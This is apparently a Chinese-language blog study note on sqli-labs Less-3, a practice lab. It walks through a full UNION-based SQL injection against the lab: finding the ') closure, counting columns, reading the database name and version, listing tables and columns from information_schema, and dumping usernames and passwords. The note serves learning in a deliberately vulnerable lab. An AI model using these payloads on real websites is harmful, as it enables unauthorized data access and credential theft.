sqli-labs学习笔记3

less-3

打开靶场

输入id=1

判断注入类型

id=1'

报错了,存在sql注入,

id=1'--+

还是报错的,感觉是闭合符号不一样。

试试')

这里看了源代码

所以输入

id=1')--+

')来闭合前面的(',--+来注释掉后面的').

判断字段数

id = 1') order by 3 --+

回显正常,判断字段数4

id = 1') order by 4 --+

判断回显位

id= -1') union select 1,2,3 --+

得到了2,3的回显位。

爆破数据库名与数据库版本

id= -1') union select 1,database(),version() --+

得到了对应的数据库名称:security

爆破数据库的表名

id=-1 ') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆破users表的字段

id=-1 ') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

得到对应的字段名。

爆破users表中字段的数据

id=-1') union select 1,2,group_concat(username,id,password) from users --+

最后得到完整的数据。

相关推荐
七月稻草人2 分钟前
Rust 与数据库连接池的集成:安全与性能的深度耦合
数据库·安全·rust
Andy2 分钟前
Mysql基础2
android·数据库·mysql
wind_one12 分钟前
2.基础--MySQL安装及启动
数据库·mysql
AI_56781 小时前
AI换脸技术安全指南:3条法律红线与合规实践
人工智能·学习·it
苦学编程的谢1 小时前
Redis_2_特性介绍+应用场景
数据库·redis·缓存
爬山算法1 小时前
Redis(93)Redis的数据加密机制是什么?
数据库·redis·bootstrap
Andy2 小时前
Mysql基础3
数据库·mysql
Andy2 小时前
Mysql基础1
数据库·mysql·adb
pythonpioneer2 小时前
【2025】Solid Edge下载安装教程(附安装包)保姆级安装步骤
前端·数据库·其他·edge
凌然先生2 小时前
17.如何利用ArcGIS进行空间统计分析
经验分享·笔记·arcgis·电脑